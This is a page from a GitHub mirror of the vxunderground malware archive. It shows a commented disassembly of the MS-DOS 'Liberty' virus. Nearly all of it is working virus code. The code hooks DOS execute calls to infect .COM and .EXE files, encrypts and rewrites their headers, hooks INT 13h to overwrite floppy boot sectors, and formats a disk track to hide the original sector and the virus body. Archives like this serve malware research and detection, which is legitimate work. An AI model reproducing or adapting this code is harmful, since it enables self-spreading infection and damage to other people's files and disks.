ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-22 19:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
c5d2f3c6a0
MalwareSourceCode/MSDOS/L-Index/Virus.MSDOS.Unknown.liberty2.lst
vxunderground 4b9382ddbc re-organize 
push
2022-08-21 04:07:57 -05:00

1195 lines
66 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

CS:0110 EB79 JMP 018B
CS:0112 90 NOP
;
; The program's original infomation is stored between these sections
;
CS:018B 2E CS:
CS:018C 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:0191 7403 JZ 0196
CS:0193 1F POP DS
CS:0194 59 POP CX
CS:0195 5B POP BX
CS:0196 50 PUSH AX
CS:0197 53 PUSH BX
CS:0198 51 PUSH CX
CS:0199 52 PUSH DX
CS:019A 1E PUSH DS
CS:019B 06 PUSH ES
CS:019C 1E PUSH DS
CS:019D 0E PUSH CS
CS:019E 1F POP DS
CS:019F E8CD00 CALL 026F ; Installation check
CS:01A2 3DFFFF CMP AX,FFFF
CS:01A5 741A JZ 01C1
CS:01A7 E8D700 CALL 0281 ; Get vector 21h
CS:01AA 07 POP ES
CS:01AB 06 PUSH ES
CS:01AC 8CC0 MOV AX,ES
CS:01AE 48 DEC AX
CS:01AF 8ED8 MOV DS,AX
CS:01B1 E8DC00 CALL 0290 ; Adjust MCB
CS:01B4 8EC0 MOV ES,AX
CS:01B6 0E PUSH CS
CS:01B7 1F POP DS
CS:01B8 E8EC00 CALL 02A7 ; Move to Upper Memory
CS:01BB E8F400 CALL 02B2 ; Set vector 21h
CS:01BE E80101 CALL 02C2 ; Set installation flag
CS:01C1 2E CS:
CS:01C2 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:01C7 7417 JZ 01E0
CS:01C9 07 POP ES
CS:01CA 0E PUSH CS
CS:01CB 1F POP DS
CS:01CC E80901 CALL 02D8 ; Decrypt header
CS:01CF E81901 CALL 02EB ; Restore header
CS:01D2 07 POP ES
CS:01D3 1F POP DS
CS:01D4 5A POP DX
CS:01D5 59 POP CX
CS:01D6 5B POP BX
CS:01D7 58 POP AX
CS:01D8 1E PUSH DS
CS:01D9 BF0001 MOV DI,0100
CS:01DC 57 PUSH DI
CS:01DD 33FF XOR DI,DI
CS:01DF CB RETF ; Start file
CS:01E0 FA CLI
CS:01E1 5E POP SI
CS:01E2 07 POP ES
CS:01E3 1F POP DS
CS:01E4 5A POP DX
CS:01E5 59 POP CX
CS:01E6 5B POP BX
CS:01E7 58 POP AX
CS:01E8 2E CS:
CS:01E9 8B3E2C06 MOV DI,[062C]
CS:01ED 03FE ADD DI,SI
CS:01EF 8ED7 MOV SS,DI
CS:01F1 2E CS:
CS:01F2 8B3E2E06 MOV DI,[062E]
CS:01F6 8BE7 MOV SP,DI ; Restore stack
CS:01F8 2E CS:
CS:01F9 8B3E2806 MOV DI,[0628]
CS:01FD 03FE ADD DI,SI
CS:01FF 57 PUSH DI
CS:0200 2E CS:
CS:0201 FF362A06 PUSH [062A]
CS:0205 33F6 XOR SI,SI
CS:0207 EBD4 JMP 01DD ; Start file
;
; The encrypted Liberty header for .COM files
;
DS:0200 1D 69 D9 00 01 01
DS:0210 80 80 40 40 20 20 10 10-08 08 A4 05 D2 04 C9 02
DS:0220 4C 81 A8 40 49 20 21 90-0B 48 E8 69 95 05 4A 92
DS:0230 21 1D 40 A8 43 28 90 14-4E 4C 07 27 D3 22 81 81
DS:0240 C0 B0 40 C4 79 20 90 29-5C D0 AE 69 57 35 2B 9A
DS:0250 31 CD 34 40 51 53 AE 5D-62 C0 E3 C1 B0 35 58 F6
DS:0260 46 E5 20 02
;
; Various subroutines used by the virus
;
CS:026F 2E CS:
CS:0270 8A1E6A02 MOV BL,[026A]
CS:0274 32FF XOR BH,BH
CS:0276 33C0 XOR AX,AX
CS:0278 8ED8 MOV DS,AX
CS:027A D1E3 SHL BX,1
CS:027C D1E3 SHL BX,1
CS:027E 8B07 MOV AX,[BX]
CS:0280 C3 RET
CS:0281 A18400 MOV AX,[0084]
CS:0284 2E CS:
CS:0285 A38C03 MOV [038C],AX
CS:0288 A18600 MOV AX,[0086]
CS:028B 2E CS:
CS:028C A38E03 MOV [038E],AX
CS:028F C3 RET
CS:0290 BB4221 MOV BX,2142
CS:0293 B104 MOV CL,04
CS:0295 D3EB SHR BX,CL
CS:0297 291E0300 SUB [0003],BX
CS:029B A10300 MOV AX,[0003]
CS:029E 03060100 ADD AX,[0001]
CS:02A2 A31200 MOV [0012],AX
CS:02A5 40 INC AX
CS:02A6 C3 RET
CS:02A7 BF1001 MOV DI,0110
CS:02AA 8BF7 MOV SI,DI
CS:02AC B99A05 MOV CX,059A
CS:02AF F3 REPZ
CS:02B0 A5 MOVSW
CS:02B1 C3 RET
CS:02B2 33C0 XOR AX,AX
CS:02B4 8ED8 MOV DS,AX
CS:02B6 FA CLI
CS:02B7 B86C03 MOV AX,036C
CS:02BA A38400 MOV [0084],AX
CS:02BD 8C068600 MOV [0086],ES
CS:02C1 C3 RET
CS:02C2 FA CLI
CS:02C3 B8FFFF MOV AX,FFFF
CS:02C6 2E CS:
CS:02C7 8A1E6A02 MOV BL,[026A]
CS:02CB 32FF XOR BH,BH
CS:02CD D1E3 SHL BX,1
CS:02CF D1E3 SHL BX,1
CS:02D1 8907 MOV [BX],AX
CS:02D3 40 INC AX
CS:02D4 894702 MOV [BX+02],AX
CS:02D7 C3 RET
CS:02D8 B93C00 MOV CX,003C
CS:02DB BE1301 MOV SI,0113
CS:02DE 2E CS:
CS:02DF 8B14 MOV DX,[SI]
CS:02E1 D3CA ROR DX,CL
CS:02E3 2E CS:
CS:02E4 8914 MOV [SI],DX
CS:02E6 46 INC SI
CS:02E7 46 INC SI
CS:02E8 E2F4 LOOP 02DE
CS:02EA C3 RET
CS:02EB BF0001 MOV DI,0100
CS:02EE BE1301 MOV SI,0113
CS:02F1 B93C00 MOV CX,003C
CS:02F4 F3 REPZ
CS:02F5 A5 MOVSW
CS:02F6 C3 RET
;
; I am not sure what the next routine is supposed to be doing.
;
CS:02F7 9C PUSHF
CS:02F8 2E CS:
CS:02F9 803E100301 CMP BYTE PTR [0310],01
CS:02FE 740A JZ 030A
CS:0300 80FC03 CMP AH,03
CS:0303 7505 JNZ 030A
CS:0305 80FA80 CMP DL,80
CS:0308 7207 JB 0311
CS:030A 9D POPF
CS:030B EA00000000 JMP 0000:0000
CS:0311 06 PUSH ES
CS:0312 0E PUSH CS
CS:0313 07 POP ES
CS:0314 B80902 MOV AX,0209
CS:0317 BB420C MOV BX,0C42
CS:031A B90100 MOV CX,0001
CS:031D 9C PUSHF
CS:031E 2E CS:
CS:031F FF1E0C03 CALL FAR [030C]
CS:0323 72E5 JB 030A
CS:0325 B80905 MOV AX,0509
CS:0328 BB4803 MOV BX,0348
CS:032B B93100 MOV CX,0031
CS:032E 9C PUSHF
CS:032F 2E CS:
CS:0330 FF1E0C03 CALL FAR [030C]
CS:0334 72D4 JB 030A
CS:0336 B80903 MOV AX,0309
CS:0339 BB420C MOV BX,0C42
CS:033C B93100 MOV CX,0031
CS:033F 9C PUSHF
CS:0340 2E CS:
CS:0341 FF1E0C03 CALL FAR [030C]
CS:0345 07 POP ES
CS:0346 9D POPF
CS:0347 CF IRET
;
; Another format table used by the virus
;
DS:0340 00 00 31 02 00 00 32 02
DS:0350 00 00 33 02 00 00 34 02-00 00 35 02 00 00 36 02
DS:0360 00 00 37 02 00 00 38 02-00 00 39 02
;
; The virus infects files by monitoring function 4Bh of vector 21h
;
CS:036C 9C PUSHF
CS:036D 3D004B CMP AX,4B00 ; Execute function ?
CS:0370 741E JZ 0390
CS:0372 EB16 JMP 038A
CS:0374 90 NOP
CS:0375 E8B901 CALL 0531 ; Close file
CS:0378 E89A00 CALL 0415 ; Restore vectors
CS:037B C6060C04FF MOV BYTE PTR [040C],FF
CS:0380 90 NOP
CS:0381 9D POPF
CS:0382 07 POP ES
CS:0383 1F POP DS
CS:0384 5F POP DI
CS:0385 5E POP SI
CS:0386 5A POP DX
CS:0387 59 POP CX
CS:0388 5B POP BX
CS:0389 58 POP AX
CS:038A 9D POPF
CS:038B EA77142C02 JMP 022C:1477 ; Continue
CS:0390 50 PUSH AX
CS:0391 53 PUSH BX
CS:0392 51 PUSH CX
CS:0393 52 PUSH DX
CS:0394 56 PUSH SI
CS:0395 57 PUSH DI
CS:0396 1E PUSH DS
CS:0397 06 PUSH ES
CS:0398 9C PUSHF
CS:0399 E8A600 CALL 0442 ; Set error vectors
CS:039C E8E100 CALL 0480 ; Open file
CS:039F 72D4 JB 0375
CS:03A1 0E PUSH CS
CS:03A2 1F POP DS
CS:03A3 0E PUSH CS
CS:03A4 07 POP ES
CS:03A5 A30A04 MOV [040A],AX
CS:03A8 93 XCHG BX,AX
CS:03A9 C6060C0401 MOV BYTE PTR [040C],01
CS:03AE 90 NOP
CS:03AF E8D800 CALL 048A ; Read file header
CS:03B2 72C1 JB 0375
CS:03B4 BB1301 MOV BX,0113
CS:03B7 2E CS:
CS:03B8 813F4D5A CMP WORD PTR [BX],5A4D ; .EXE file ?
CS:03BC 7505 JNZ 03C3
CS:03BE E8C001 CALL 0581 ; Adapt header
CS:03C1 EBB2 JMP 0375
CS:03C3 2E CS:
CS:03C4 C606090200 MOV BYTE PTR [0209],00 ; Set switch
CS:03C9 E8CD00 CALL 0499 ; Check infection
CS:03CC 74A7 JZ 0375
CS:03CE E8DD00 CALL 04AE ; Encrypt header
CS:03D1 E8EB00 CALL 04BF ; Move to EOF
CS:03D4 729F JB 0375
CS:03D6 83FA00 CMP DX,+00 ;
CS:03D9 759A JNZ 0375 ;
CS:03DB 3D0005 CMP AX,0500 ;
CS:03DE 7295 JB 0375 ;
CS:03E0 3DFFEF CMP AX,EFFF ;
CS:03E3 7390 JNB 0375 ; Check file size
CS:03E5 E8EA00 CALL 04D2 ; Move to next paragraph
CS:03E8 728B JB 0375
CS:03EA E80701 CALL 04F4 ; Write virus
CS:03ED 7286 JB 0375
CS:03EF 3BC1 CMP AX,CX
CS:03F1 7C11 JL 0404
CS:03F3 E81301 CALL 0509 ; Move to BOF
CS:03F6 7209 JB 0401
CS:03F8 E86201 CALL 055D ; Decrypt Libery header
CS:03FB E81E01 CALL 051C ; Write Liberty header
CS:03FE E86F01 CALL 0570 ; Encrypt Liberty Header
CS:0401 E971FF JMP 0375
CS:0404 E83801 CALL 053F ; Set & get vector 13h
CS:0407 E96BFF JMP 0375
;
; Revectoring of error vectors.
;
CS:0415 1E PUSH DS
CS:0416 33DB XOR BX,BX
CS:0418 8EDB MOV DS,BX
CS:041A FA CLI
CS:041B 2E CS:
CS:041C 8B1E0D04 MOV BX,[040D]
CS:0420 891E8C00 MOV [008C],BX
CS:0424 2E CS:
CS:0425 8B1E0F04 MOV BX,[040F]
CS:0429 891E8E00 MOV [008E],BX
CS:042D FA CLI
CS:042E 2E CS:
CS:042F 8B1E1104 MOV BX,[0411]
CS:0433 891E9000 MOV [0090],BX
CS:0437 2E CS:
CS:0438 8B1E1304 MOV BX,[0413]
CS:043C 891E8E00 MOV [008E],BX
CS:0440 1F POP DS
CS:0441 C3 RET
CS:0442 1E PUSH DS
CS:0443 33DB XOR BX,BX
CS:0445 8EDB MOV DS,BX
CS:0447 8B1E8C00 MOV BX,[008C]
CS:044B 2E CS:
CS:044C 891E0D04 MOV [040D],BX
CS:0450 8B1E8E00 MOV BX,[008E]
CS:0454 2E CS:
CS:0455 891E0F04 MOV [040F],BX
CS:0459 FA CLI
CS:045A BB3106 MOV BX,0631
CS:045D 891E8C00 MOV [008C],BX
CS:0461 8C0E8E00 MOV [008E],CS
CS:0465 8B1E9000 MOV BX,[0090]
CS:0469 2E CS:
CS:046A 891E1104 MOV [0411],BX
CS:046E 8B1E9200 MOV BX,[0092]
CS:0472 FA CLI
CS:0473 BB3206 MOV BX,0632
CS:0476 891E9000 MOV [0090],BX
CS:047A 8C0E9200 MOV [0092],CS
CS:047E 1F POP DS
CS:047F C3 RET
;
; Various subroutines used by the virus
;
CS:0480 B8023D MOV AX,3D02
CS:0483 9C PUSHF
CS:0484 2E CS:
CS:0485 FF1E8C03 CALL FAR [038C]
CS:0489 C3 RET
CS:048A B43F MOV AH,3F
CS:048C B97800 MOV CX,0078
CS:048F BA1301 MOV DX,0113
CS:0492 9C PUSHF
CS:0493 2E CS:
CS:0494 FF1E8C03 CALL FAR [038C]
CS:0498 C3 RET
CS:0499 BF1301 MOV DI,0113
CS:049C 81C76802 ADD DI,0268
CS:04A0 81EF0A02 SUB DI,020A
CS:04A4 BE6802 MOV SI,0268
CS:04A7 FC CLD
CS:04A8 B90700 MOV CX,0007
CS:04AB F3 REPZ
CS:04AC A6 CMPSB
CS:04AD C3 RET
CS:04AE B93C00 MOV CX,003C
CS:04B1 BE1301 MOV SI,0113
CS:04B4 8B14 MOV DX,[SI]
CS:04B6 D3C2 ROL DX,CL
CS:04B8 8914 MOV [SI],DX
CS:04BA 46 INC SI
CS:04BB 46 INC SI
CS:04BC E2F6 LOOP 04B4
CS:04BE C3 RET
CS:04BF B80242 MOV AX,4202
CS:04C2 2E CS:
CS:04C3 8B1E0A04 MOV BX,[040A]
CS:04C7 33C9 XOR CX,CX
CS:04C9 33D2 XOR DX,DX
CS:04CB 9C PUSHF
CS:04CC 2E CS:
CS:04CD FF1E8C03 CALL FAR [038C]
CS:04D1 C3 RET
CS:04D2 B90400 MOV CX,0004
CS:04D5 D3E8 SHR AX,CL
CS:04D7 BB6602 MOV BX,0266
CS:04DA 8907 MOV [BX],AX
CS:04DC 40 INC AX
CS:04DD B90400 MOV CX,0004
CS:04E0 D3E0 SHL AX,CL
CS:04E2 92 XCHG DX,AX
CS:04E3 33C9 XOR CX,CX
CS:04E5 B80042 MOV AX,4200
CS:04E8 2E CS:
CS:04E9 8B1E0A04 MOV BX,[040A]
CS:04ED 9C PUSHF
CS:04EE 2E CS:
CS:04EF FF1E8C03 CALL FAR [038C]
CS:04F3 C3 RET
CS:04F4 B9330B MOV CX,0B33
CS:04F7 B80040 MOV AX,4000
CS:04FA BA1001 MOV DX,0110
CS:04FD 2E CS:
CS:04FE 8B1E0A04 MOV BX,[040A]
CS:0502 9C PUSHF
CS:0503 2E CS:
CS:0504 FF1E8C03 CALL FAR [038C]
CS:0508 C3 RET
CS:0509 B80042 MOV AX,4200
CS:050C 2E CS:
CS:050D 8B1E0A04 MOV BX,[040A]
CS:0511 33C9 XOR CX,CX
CS:0513 33D2 XOR DX,DX
CS:0515 9C PUSHF
CS:0516 2E CS:
CS:0517 FF1E8C03 CALL FAR [038C]
CS:051B C3 RET
CS:051C BA0A02 MOV DX,020A
CS:051F B80040 MOV AX,4000
CS:0522 2E CS:
CS:0523 8B1E0A04 MOV BX,[040A]
CS:0527 B97800 MOV CX,0078
CS:052A 9C PUSHF
CS:052B 2E CS:
CS:052C FF1E8C03 CALL FAR [038C]
CS:0530 C3 RET
CS:0531 B43E MOV AH,3E
CS:0533 2E CS:
CS:0534 8B1E0A04 MOV BX,[040A]
CS:0538 9C PUSHF
CS:0539 2E CS:
CS:053A FF1E8C03 CALL FAR [038C]
CS:053E C3 RET
CS:053F 33C0 XOR AX,AX
CS:0541 8ED8 MOV DS,AX
CS:0543 FA CLI
CS:0544 A14C00 MOV AX,[004C]
CS:0547 2E CS:
CS:0548 A31407 MOV [0714],AX
CS:054B A14E00 MOV AX,[004E]
CS:054E 2E CS:
CS:054F A31607 MOV [0716],AX
CS:0552 B8F906 MOV AX,06F9
CS:0555 A34C00 MOV [004C],AX
CS:0558 8C0E4E00 MOV [004E],CS
CS:055C C3 RET
;
; Header encrypting
;
CS:055D B92D00 MOV CX,002D
CS:0560 BE0A02 MOV SI,020A
CS:0563 2E CS:
CS:0564 8B3C MOV DI,[SI]
CS:0566 D3CF ROR DI,CL
CS:0568 2E CS:
CS:0569 893C MOV [SI],DI
CS:056B 46 INC SI
CS:056C 46 INC SI
CS:056D E2F4 LOOP 0563
CS:056F C3 RET
CS:0570 BE0A02 MOV SI,020A
CS:0573 B92D00 MOV CX,002D
CS:0576 8B3C MOV DI,[SI]
CS:0578 D3C7 ROL DI,CL
CS:057A 893C MOV [SI],DI
CS:057C 46 INC SI
CS:057D 46 INC SI
CS:057E E2F6 LOOP 0576
CS:0580 C3 RET
;
; .EXE file handling
;
CS:0581 8B7F02 MOV DI,[BX+02]
CS:0584 83FFFF CMP DI,-01 ; Check infection
CS:0587 7439 JZ 05C2
CS:0589 8B7F16 MOV DI,[BX+16]
CS:058C 83C710 ADD DI,+10
CS:058F 893E2806 MOV [0628],DI
CS:0593 8B7F14 MOV DI,[BX+14]
CS:0596 893E2A06 MOV [062A],DI
CS:059A 8B7F0E MOV DI,[BX+0E]
CS:059D 83C710 ADD DI,+10
CS:05A0 893E2C06 MOV [062C],DI
CS:05A4 8B7F10 MOV DI,[BX+10]
CS:05A7 893E2E06 MOV [062E],DI
CS:05AB BF1001 MOV DI,0110
CS:05AE 897F14 MOV [BX+14],DI ; Set IP
CS:05B1 BF420D MOV DI,0D42
CS:05B4 897F10 MOV [BX+10],DI ; Set SP
CS:05B7 2E CS:
CS:05B8 C606090201 MOV BYTE PTR [0209],01 ; Set switch
CS:05BD E8FFFE CALL 04BF ; Move to EOF
CS:05C0 7301 JNB 05C3
CS:05C2 C3 RET
CS:05C3 83FA0A CMP DX,+0A ;
CS:05C6 77FA JA 05C2 ; Check file size
CS:05C8 B104 MOV CL,04
CS:05CA D3E8 SHR AX,CL
CS:05CC 40 INC AX
CS:05CD 3D0010 CMP AX,1000
CS:05D0 7501 JNZ 05D3
CS:05D2 42 INC DX
CS:05D3 D3E0 SHL AX,CL
CS:05D5 50 PUSH AX
CS:05D6 52 PUSH DX
CS:05D7 B91000 MOV CX,0010
CS:05DA F7F1 DIV CX
CS:05DC BB1301 MOV BX,0113
CS:05DF 2D1100 SUB AX,0011
CS:05E2 8B7F08 MOV DI,[BX+08]
CS:05E5 2BC7 SUB AX,DI
CS:05E7 894716 MOV [BX+16],AX ; Set CodeSegment
CS:05EA 89470E MOV [BX+0E],AX ; Set StackSegment
CS:05ED 59 POP CX
CS:05EE 5A POP DX
CS:05EF E8F3FE CALL 04E5 ; Move to next paragraph
CS:05F2 722F JB 0623
CS:05F4 E8FDFE CALL 04F4 ; Write virus
CS:05F7 722A JB 0623
CS:05F9 3BC1 CMP AX,CX
CS:05FB 7C27 JL 0624
CS:05FD E8BFFE CALL 04BF ; Move to BOF
CS:0600 7221 JB 0623
CS:0602 B90002 MOV CX,0200
CS:0605 F7F1 DIV CX
CS:0607 83FA00 CMP DX,+00
CS:060A 7401 JZ 060D
CS:060C 40 INC AX
CS:060D BB1301 MOV BX,0113
CS:0610 894704 MOV [BX+04],AX ; Set blocks
CS:0613 C74702FFFF MOV WORD PTR [BX+02],FFFF ; Set infection mark
CS:0618 E8EEFE CALL 0509 ; Move to BOF
CS:061B 7206 JB 0623
CS:061D BA1301 MOV DX,0113
CS:0620 E8FCFE CALL 051F ; Write header
CS:0623 C3 RET
CS:0624 E818FF CALL 053F ; Set & get vector 13h
CS:0627 C3 RET
;
; Error vectors
;
CS:0631 CF IRET ; Error vector 23h
CS:0632 32C0 XOR AL,AL ;
CS:0634 CF IRET ; Error vector 24h
;
; The next part is the virus's bootsector
;
CS:0635 EB01 JMP 0638
CS:0637 90 NOP
CS:0638 33C0 XOR AX,AX
CS:063A 8ED0 MOV SS,AX
CS:063C BC007C MOV SP,7C00
CS:063F 33C0 XOR AX,AX
CS:0641 8EC0 MOV ES,AX
CS:0643 BB1304 MOV BX,0413 ;
CS:0646 26 ES: ;
CS:0647 8B07 MOV AX,[BX] ;
CS:0649 2D0A00 SUB AX,000A ;
CS:064C B106 MOV CL,06 ;
CS:064E 26 ES: ;
CS:064F 8907 MOV [BX],AX ; Decrease memory
CS:0651 D3E0 SHL AX,CL
CS:0653 8EC0 MOV ES,AX
CS:0655 B80802 MOV AX,0208 ;
CS:0658 BB1001 MOV BX,0110 ;
CS:065B B93128 MOV CX,2831 ;
CS:065E 33D2 XOR DX,DX ;
CS:0660 CD13 INT 13 ; Read virus
CS:0662 06 PUSH ES
CS:0663 BB6806 MOV BX,0668
CS:0666 53 PUSH BX
CS:0667 CB RETF
CS:0668 2E CS:
CS:0669 803EC8060A CMP BYTE PTR [06C8],0A
CS:066E 7446 JZ 06B6
CS:0670 33C0 XOR AX,AX
CS:0672 8ED8 MOV DS,AX
CS:0674 2E CS:
CS:0675 FE06C806 INC BYTE PTR [06C8]
CS:0679 B80803 MOV AX,0308
CS:067C BB1001 MOV BX,0110
CS:067F B93128 MOV CX,2831
CS:0682 33D2 XOR DX,DX
CS:0684 CD13 INT 13
CS:0686 E85200 CALL 06DB ; Set & get vector 13h
CS:0689 2E CS: ;
CS:068A C606470BFF MOV BYTE PTR [0B47],FF ;
CS:068F 90 NOP ;
CS:0690 2E CS: ;
CS:0691 C606950BFF MOV BYTE PTR [0B95],FF ;
CS:0696 90 NOP ;
CS:0697 2E CS: ;
CS:0698 C606080CFF MOV BYTE PTR [0C08],FF ; Switches off
CS:069D 90 NOP
CS:069E E82902 CALL 08CA ; Set & get vector 8h
CS:06A1 E85402 CALL 08F8 ; Set & get vector 1Ch
CS:06A4 E84104 CALL 0AE8 ; Set & get vector 10h
CS:06A7 E85804 CALL 0B02 ; Set & get vector 14h
CS:06AA E86F04 CALL 0B1C ; Set & get vector 17h
CS:06AD E81900 CALL 06C9 ; Read original bootsector
CS:06B0 BB007C MOV BX,7C00 ;
CS:06B3 1E PUSH DS ;
CS:06B4 53 PUSH BX ;
CS:06B5 CB RETF ; Start
CS:06B6 E81000 CALL 06C9 ; Read bootsector
CS:06B9 B80103 MOV AX,0301
CS:06BC BB007C MOV BX,7C00
CS:06BF B90100 MOV CX,0001
CS:06C2 33D2 XOR DX,DX
CS:06C4 CD13 INT 13
CS:06C6 EBE5 JMP 06AD
CS:06C9 33C0 XOR AX,AX
CS:06CB 8EC0 MOV ES,AX
CS:06CD B80102 MOV AX,0201
CS:06D0 BB007C MOV BX,7C00
CS:06D3 B93F28 MOV CX,283F
CS:06D6 33D2 XOR DX,DX
CS:06D8 CD13 INT 13
CS:06DA C3 RET
CS:06DB 33C0 XOR AX,AX
CS:06DD 8ED8 MOV DS,AX
CS:06DF A14C00 MOV AX,[004C]
CS:06E2 2E CS:
CS:06E3 A31608 MOV [0816],AX
CS:06E6 A14E00 MOV AX,[004E]
CS:06E9 2E CS:
CS:06EA A31808 MOV [0818],AX
CS:06ED FA CLI
CS:06EE B8FB07 MOV AX,07FB
CS:06F1 A34C00 MOV [004C],AX
CS:06F4 8C0E4E00 MOV [004E],CS
CS:06F8 C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:06F9 9C PUSHF
CS:06FA 80FC01 CMP AH,01
CS:06FD 7E13 JLE 0712
CS:06FF 80FC04 CMP AH,04
CS:0702 7D0E JGE 0712
CS:0704 80FA80 CMP DL,80
CS:0707 720F JB 0718
CS:0709 E8BE00 CALL 07CA ; Disconnect vector 13h
CS:070C 07 POP ES
CS:070D 1F POP DS
CS:070E 5A POP DX
CS:070F 59 POP CX
CS:0710 5B POP BX
CS:0711 58 POP AX
CS:0712 9D POPF
CS:0713 EA00000000 JMP 0000:0000
CS:0718 50 PUSH AX
CS:0719 53 PUSH BX
CS:071A 51 PUSH CX
CS:071B 52 PUSH DX
CS:071C 1E PUSH DS
CS:071D 06 PUSH ES
CS:071E B80102 MOV AX,0201 ;
CS:0721 0E PUSH CS ;
CS:0722 07 POP ES ;
CS:0723 0E PUSH CS ;
CS:0724 1F POP DS ;
CS:0725 BB420C MOV BX,0C42 ;
CS:0728 B90100 MOV CX,0001 ;
CS:072B 32F6 XOR DH,DH ;
CS:072D 9C PUSHF ;
CS:072E 2E CS: ;
CS:072F FF1E1407 CALL FAR [0714] ; Read Bootsector
CS:0733 72D4 JB 0709
CS:0735 0E PUSH CS
CS:0736 1F POP DS
CS:0737 0E PUSH CS
CS:0738 07 POP ES
CS:0739 BE420C MOV SI,0C42 ;
CS:073C BF3506 MOV DI,0635 ;
CS:073F B90A00 MOV CX,000A ;
CS:0742 FC CLD ;
CS:0743 F3 REPZ ;
CS:0744 A7 CMPSW ; Check infection
CS:0745 74C2 JZ 0709
CS:0747 BE420C MOV SI,0C42
CS:074A 807C02FF CMP BYTE PTR [SI+02],FF ; Was infected ?
CS:074E 744A JZ 079A
CS:0750 B0FF MOV AL,FF
CS:0752 884402 MOV [SI+02],AL
CS:0755 B80905 MOV AX,0509 ;
CS:0758 BBA607 MOV BX,07A6 ;
CS:075B B93128 MOV CX,2831 ;
CS:075E 9C PUSHF ;
CS:075F 2E CS: ;
CS:0760 FF1E1407 CALL FAR [0714] ; Format track 40
CS:0764 72A3 JB 0709
CS:0766 B80103 MOV AX,0301 ;
CS:0769 BB420C MOV BX,0C42 ;
CS:076C B93F28 MOV CX,283F ;
CS:076F 9C PUSHF ;
CS:0770 2E CS: ;
CS:0771 FF1E1407 CALL FAR [0714] ; Write original bootsector
CS:0775 7292 JB 0709
CS:0777 B80103 MOV AX,0301 ;
CS:077A BB3506 MOV BX,0635 ;
CS:077D B90100 MOV CX,0001 ;
CS:0780 9C PUSHF ;
CS:0781 2E CS: ;
CS:0782 FF1E1407 CALL FAR [0714] ; Write Libery bootsector
CS:0786 7281 JB 0709
CS:0788 B80803 MOV AX,0308 ;
CS:078B BB1001 MOV BX,0110 ;
CS:078E B93128 MOV CX,2831 ;
CS:0791 9C PUSHF ;
CS:0792 2E CS: ;
CS:0793 FF1E1407 CALL FAR [0714] ; Write Liberty virus
CS:0797 E96FFF JMP 0709
CS:079A 2E CS: ;
CS:079B C606100300 MOV BYTE PTR [0310],00 ;
CS:07A0 E83B00 CALL 07DE ; Attach ???
CS:07A3 E963FF JMP 0709
;
; The format table is next
;
DS:07A0 28 00-31 02 28 00 32 02 28 00
DS:07B0 33 02 28 00 34 02 28 00-35 02 28 00 36 02 28 00
DS:07C0 37 02 28 00 38 02 28 00-3F 02
;
; Revectoring
;
CS:07CA 33C0 XOR AX,AX
CS:07CC 8ED8 MOV DS,AX
CS:07CE FA CLI
CS:07CF 2E CS:
CS:07D0 A11407 MOV AX,[0714]
CS:07D3 A34C00 MOV [004C],AX
CS:07D6 2E CS:
CS:07D7 A11607 MOV AX,[0716]
CS:07DA A34E00 MOV [004E],AX
CS:07DD C3 RET
CS:07DE 2E CS:
CS:07DF A11407 MOV AX,[0714]
CS:07E2 2E CS:
CS:07E3 A30C03 MOV [030C],AX
CS:07E6 2E CS:
CS:07E7 A11607 MOV AX,[0716]
CS:07EA 2E CS:
CS:07EB A30E03 MOV [030E],AX
CS:07EE B8F702 MOV AX,02F7
CS:07F1 2E CS:
CS:07F2 A31407 MOV [0714],AX
CS:07F5 2E CS:
CS:07F6 8C0E1607 MOV [0716],CS
CS:07FA C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:07FB 9C PUSHF
CS:07FC 80FC03 CMP AH,03
CS:07FF 7213 JB 0814
CS:0801 80FC05 CMP AH,05
CS:0804 730E JNB 0814
CS:0806 80FA80 CMP DL,80
CS:0809 720F JB 081A
CS:080B EB07 JMP 0814
CS:080D 90 NOP
CS:080E 07 POP ES
CS:080F 1F POP DS
CS:0810 5A POP DX
CS:0811 59 POP CX
CS:0812 5B POP BX
CS:0813 58 POP AX
CS:0814 9D POPF
CS:0815 EA00000000 JMP 0000:0000
CS:081A 50 PUSH AX
CS:081B 53 PUSH BX
CS:081C 51 PUSH CX
CS:081D 52 PUSH DX
CS:081E 1E PUSH DS
CS:081F 06 PUSH ES
CS:0820 2E CS:
CS:0821 803E0C0401 CMP BYTE PTR [040C],01
CS:0826 74E6 JZ 080E
CS:0828 B80102 MOV AX,0201 ;
CS:082B 0E PUSH CS ;
CS:082C 07 POP ES ;
CS:082D 0E PUSH CS ;
CS:082E 1F POP DS ;
CS:082F BB420C MOV BX,0C42 ;
CS:0832 B90100 MOV CX,0001 ;
CS:0835 32F6 XOR DH,DH ;
CS:0837 9C PUSHF ;
CS:0838 2E CS: ;
CS:0839 FF1E1608 CALL FAR [0816] ; Read bootsector
CS:083D 72CF JB 080E
CS:083F 0E PUSH CS
CS:0840 1F POP DS
CS:0841 0E PUSH CS
CS:0842 07 POP ES
CS:0843 BE420C MOV SI,0C42 ;
CS:0846 BF3506 MOV DI,0635 ;
CS:0849 B90A00 MOV CX,000A ;
CS:084C FC CLD ;
CS:084D F3 REPZ ;
CS:084E A7 CMPSW ; Check infection
CS:084F 74BD JZ 080E
CS:0851 B0FF MOV AL,FF
CS:0853 884702 MOV [BX+02],AL
CS:0856 B80905 MOV AX,0509 ;
CS:0859 BBA607 MOV BX,07A6 ;
CS:085C B93128 MOV CX,2831 ;
CS:085F 9C PUSHF ;
CS:0860 2E CS: ;
CS:0861 FF1E1608 CALL FAR [0816] ; Format track 28
CS:0865 72A7 JB 080E
CS:0867 B80103 MOV AX,0301 ;
CS:086A BB420C MOV BX,0C42 ;
CS:086D B93F28 MOV CX,283F ;
CS:0870 9C PUSHF ;
CS:0871 2E CS: ;
CS:0872 FF1E1608 CALL FAR [0816] ; Write original bootsector
CS:0876 7296 JB 080E
CS:0878 B80103 MOV AX,0301 ;
CS:087B BB3506 MOV BX,0635 ;
CS:087E B90100 MOV CX,0001 ;
CS:0881 9C PUSHF ;
CS:0882 2E CS: ;
